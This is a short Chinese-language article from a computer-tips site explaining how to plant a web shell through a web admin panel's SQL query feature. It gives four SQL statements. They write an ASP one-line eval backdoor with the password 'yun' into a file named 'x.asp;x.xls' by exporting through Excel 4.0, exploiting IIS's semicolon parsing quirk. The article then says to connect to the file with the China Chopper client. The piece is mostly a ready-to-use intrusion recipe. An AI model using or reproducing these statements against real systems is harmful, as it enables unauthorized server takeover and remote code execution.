• 选择风格
  • 加入收藏
  • 繁體中文
  • 网站地图
    • 当前位置：首页 >> 网络通讯 >> 网络安全 >> 内容

    利用后台SQL查询语句拿webshell

    时间：2013/4/19 12:09:00 作者：平凡之路　来源：xuhantao.com 浏览：

    今天，朋友给了一个比较好玩的后台
     
    有SQL查询功能
     
     
     
    在后台的主页，www.xuhantao.com，或者备份什么的，可以得到网站的物理路径，这里我没有传马，直接点击了备份数据库，重点是得到物理路径，后台主页，涛涛电脑知识网，或者各种爆物理路径，还要看运气和自由发挥了
     
    以下拿webshell步骤
     
          第一句代码
     
     
    create table cmd (a varchar(50))
    　　第二句代码
     
     
    insert into cmd (a) values ('<%eval request("yun")%>')
    　　第三句代码
     
    select * into [a] in 'd:\wwwroot\wjqcad\admin163\Databackup\x.asp;x.xls' 'excel 4.0;' from cmd
    　　第四句代码
     
     
    drop table cmd
    直接菜刀里连接 /x.asp;x.xls一句话  密码是yun

  • 上一篇：申通快递官网突破所谓的防注继续注
  • 下一篇：Admidio 2.3.5多个缺陷及修复
    • 相关文章
    • 没有相关文章
    共有评论 0 条相关评论
    发表我的评论
    • 大名：
    • 内容：
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络，如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号：蒙ICP备15000590号-1